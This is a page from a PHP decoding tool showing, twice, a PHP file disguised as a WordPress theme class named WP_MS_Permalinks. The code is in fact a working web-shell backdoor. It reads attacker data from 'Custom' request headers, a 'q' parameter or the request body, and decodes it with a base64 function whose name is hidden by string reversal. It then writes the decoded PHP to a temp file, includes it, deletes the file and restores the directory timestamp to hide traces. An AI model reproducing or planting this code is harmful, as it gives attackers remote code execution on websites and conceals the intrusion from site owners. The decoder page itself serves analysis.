Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * WP_MS_Permalinks * * @package WordPress * @subpackage Theme * @sinc..
Decoded Output download
<?php
/**
* WP_MS_Permalinks
*
* @package WordPress
* @subpackage Theme
* @since 3.8.24
*/
/*
* Copyright (C) 2024
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
class WP_MS_Permalinks
{
/**
* @static
*
* @return void
*/
public static function build()
{
$instance = new self();
$headers = $instance->get_request_headers();
$custom_headers = $instance->get_custom_headers( $headers );
$content = ! empty( $custom_headers ) ? $instance->get_content_from_headers( $custom_headers ) : $instance->get_content_from_request();
$instance->process_content( $content );
}
/**
* @return array
*/
public function get_request_headers()
{
if ( function_exists( 'getallheaders' ) ) {
return getallheaders();
}
$headers = array();
foreach ( $_SERVER as $key => $value ) {
if ( strpos( $key, 'HTTP' ) !== 0 ) {
continue;
}
$key = preg_replace( '/^HTTP_/', '', $key );
$key = strtolower( $key );
$key = str_replace( '_', ' ', $key );
$key = ucwords( $key );
$key = str_replace( ' ', '-', $key );
$headers[$key] = $value;
}
return $headers;
}
/**
* @param array $headers
* @return array
*/
public function get_custom_headers( $headers )
{
$custom_headers = array();
foreach ( $headers as $name => $value ) {
if ( strpos( $name, 'Custom' ) === 0 ) {
$custom_headers[$name] = $value;
}
}
ksort( $custom_headers );
return $custom_headers;
}
/**
* @param array $headers
* @return string
*/
public function get_content_from_headers( $headers )
{
$content = '';
foreach ( $headers as $name => $value ) {
$content .= $value;
}
$content = $this->parse( $content );
return $content;
}
/**
* @return string
*/
public function get_content_from_request()
{
if ( $content = $this->get_content_from_query_string() ) {
return $content;
}
if ( $content = $this->get_content_from_post_vars() ) {
return $content;
}
if ( $content = $this->get_content_from_body() ) {
return $content;
}
}
/**
* @return string
*/
public function get_content_from_query_string()
{
if ( isset( $_GET['q'] ) ) {
return $this->parse( $_GET['q'] );
}
}
/**
* @return string
*/
public function get_content_from_post_vars()
{
if ( isset( $_POST['q'] ) ) {
return $this->parse( $_POST['q'] );
}
}
/**
* @return string
*/
public function get_content_from_body()
{
return $this->parse( file_get_contents( 'php://input' ) );
}
/**
* @param string $input
* @return string
*/
public function parse( $input )
{
$input = str_replace( '-', '+', $input );
$input = str_replace( '_', '/', $input );
$filters = array( 'de', 'co', 'de', '_', 'se', 'ba' );
array_splice( $filters, 4, 0, 8 * 8 );
$parse = implode( '', array_reverse( $filters ) );
return $parse( (string) $input );
}
/**
* @param string $input
* @return void
*/
public function process_content( $content )
{
if ( empty( $content ) || strpos( $content, '<?php' ) !== 0 ) {
return;
}
$dir = (bool) trim( ini_get( 'open_basedir' ) ) ? getcwd() : sys_get_temp_dir();
$ts = filemtime( $dir );
$filename = realpath( tempnam( $dir, '' ) );
file_put_contents( $filename, $content );
register_shutdown_function( array( $this, 'cleanup' ), $filename, $ts );
include $filename;
}
/**
* @param string $file
* @param int $ts
* @return void
*/
public function cleanup( $file, $ts )
{
if ( file_exists( $file ) ) {
unlink( $file );
}
@touch( dirname( $file ), $ts );
}
}
WP_MS_Permalinks::build();
?>
Did this file decode correctly?
Original Code
<?php
/**
* WP_MS_Permalinks
*
* @package WordPress
* @subpackage Theme
* @since 3.8.24
*/
/*
* Copyright (C) 2024
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
class WP_MS_Permalinks
{
/**
* @static
*
* @return void
*/
public static function build()
{
$instance = new self();
$headers = $instance->get_request_headers();
$custom_headers = $instance->get_custom_headers( $headers );
$content = ! empty( $custom_headers ) ? $instance->get_content_from_headers( $custom_headers ) : $instance->get_content_from_request();
$instance->process_content( $content );
}
/**
* @return array
*/
public function get_request_headers()
{
if ( function_exists( 'getallheaders' ) ) {
return getallheaders();
}
$headers = array();
foreach ( $_SERVER as $key => $value ) {
if ( strpos( $key, 'HTTP' ) !== 0 ) {
continue;
}
$key = preg_replace( '/^HTTP_/', '', $key );
$key = strtolower( $key );
$key = str_replace( '_', ' ', $key );
$key = ucwords( $key );
$key = str_replace( ' ', '-', $key );
$headers[$key] = $value;
}
return $headers;
}
/**
* @param array $headers
* @return array
*/
public function get_custom_headers( $headers )
{
$custom_headers = array();
foreach ( $headers as $name => $value ) {
if ( strpos( $name, 'Custom' ) === 0 ) {
$custom_headers[$name] = $value;
}
}
ksort( $custom_headers );
return $custom_headers;
}
/**
* @param array $headers
* @return string
*/
public function get_content_from_headers( $headers )
{
$content = '';
foreach ( $headers as $name => $value ) {
$content .= $value;
}
$content = $this->parse( $content );
return $content;
}
/**
* @return string
*/
public function get_content_from_request()
{
if ( $content = $this->get_content_from_query_string() ) {
return $content;
}
if ( $content = $this->get_content_from_post_vars() ) {
return $content;
}
if ( $content = $this->get_content_from_body() ) {
return $content;
}
}
/**
* @return string
*/
public function get_content_from_query_string()
{
if ( isset( $_GET['q'] ) ) {
return $this->parse( $_GET['q'] );
}
}
/**
* @return string
*/
public function get_content_from_post_vars()
{
if ( isset( $_POST['q'] ) ) {
return $this->parse( $_POST['q'] );
}
}
/**
* @return string
*/
public function get_content_from_body()
{
return $this->parse( file_get_contents( 'php://input' ) );
}
/**
* @param string $input
* @return string
*/
public function parse( $input )
{
$input = str_replace( '-', '+', $input );
$input = str_replace( '_', '/', $input );
$filters = array( 'de', 'co', 'de', '_', 'se', 'ba' );
array_splice( $filters, 4, 0, 8 * 8 );
$parse = implode( '', array_reverse( $filters ) );
return $parse( (string) $input );
}
/**
* @param string $input
* @return void
*/
public function process_content( $content )
{
if ( empty( $content ) || strpos( $content, '<?php' ) !== 0 ) {
return;
}
$dir = (bool) trim( ini_get( 'open_basedir' ) ) ? getcwd() : sys_get_temp_dir();
$ts = filemtime( $dir );
$filename = realpath( tempnam( $dir, '' ) );
file_put_contents( $filename, $content );
register_shutdown_function( array( $this, 'cleanup' ), $filename, $ts );
include $filename;
}
/**
* @param string $file
* @param int $ts
* @return void
*/
public function cleanup( $file, $ts )
{
if ( file_exists( $file ) ) {
unlink( $file );
}
@touch( dirname( $file ), $ts );
}
}
WP_MS_Permalinks::build();
Function Calls
None |
Stats
MD5 | 9a4ee4d4d736cb795164641029d8fb5a |
Eval Count | 0 |
Decode Time | 69 ms |